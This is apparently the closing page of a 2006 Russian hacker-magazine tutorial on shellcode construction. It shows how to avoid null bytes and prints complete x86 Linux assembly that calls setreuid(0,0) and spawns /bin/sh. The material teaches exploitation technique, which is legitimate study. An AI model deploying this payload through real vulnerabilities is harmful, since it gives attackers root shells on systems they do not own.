Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #85, ЯНВАРЬ 2006 г.

Откуда берутся шелл-коды

Степан Ильин (step@gameland.ru)

Хакер, номер #085, стр. 085-050-7


Казалось бы, все готово. Шелл-код должен быть идеальным, но нет! В нем по-прежнему остается один-единственный и подлый нуль-байт. Он находится в самом конце нашего шелл-кода и появляется там из-за того, что строка, содержащая путь к интерпретатору ('/bin/sh', 0), закачивается нулем. Как говорилось ранее, этот ноль необходим для правильной работы приложения (функции execve()). Просто взять и удалить его нельзя, как бы тебе этого ни хотелось. Но можно воспользоваться еще одной хитростью: на этапе компоновки вместо нуля можно указать произвольный символ и превратить его в ноль лишь в процессе выполнения программы. Это делается примерно так:

Jmp short stuff

code:

pop esi

; адрес начала строки

; теперь в регистре ESI

xor eax,eax

; обнуляем регистр EAX

mov byte [esi + 17],al

; отсчитываем 18 символов (нумерация с нуля)

; и заносим туда ноль (регистр EAX полностью

; равен нулю)

; Теперь строка превратиться в «This is my string0»

stuff:

call code

db 'This is my string#'

Теперь применим этот прием по отношению к программе shell.asm:

BITS 32

;setreuid(0, 0)

xor eax,eax

mov al, 70

xor ebx,ebx

xor ecx,ecx

int 0x80

jmp short two

one:

pop ebx

; execve("/bin/sh",["/bin/sh", NULL], NULL)

xor eax,eax

mov byte [ebx+7], al

push eax

push ebx

mov ecx, esp

mov al,11

xor edx,edx

int 0x80

two:

call one

db '/bin/sh#'

Откомпилировав программу, убеждаемся, что нулевых байтов больше нет. Стоит отменить, что проблема может возникать не только из-за нулей. Специальные символы (к примеру, символ конца строки) в некоторых случаях также могут стать причиной нулевых байтов в шелл-коде.

[к действию]

В статье приведены наиболее важные приемы, которые понадобятся при составлении шелл-кодов. Однако для успеха недостаточно просто прочитать этот материал. Важно как можно глубже разобраться с операционной системой, под которую пишется шелл-код, а также программированием на ассемблере. Надеюсь, приведенные примеры убедили тебя в том, что ничего чрезвычайно сложного здесь нет. Все довольно просто и логично: главное - не боятся открыть документацию и немного поэкспериментировать.

WARNING

Не стоит забывать, что за все незаконные действия ты несешь полную ответственность сначала перед собственной совестью, потом - перед близкими людьми, а потом уже - перед лысым 43 летним государственным обвинителем по фамилии Петренко. Так что не глупи.

WWW

Необходимые тулзы:

Nasm (nasm.sourceforge.net)

Hexdump (www.canb.auug.org.au/~millerp/hexdump.html)

WWW

Коллекции шелл-кодов и документации по теме:

Metasploit.com

packetstormsecurity.com/shellcode

www.shellcode.org

Назад на стр. 085-050-6  Содержание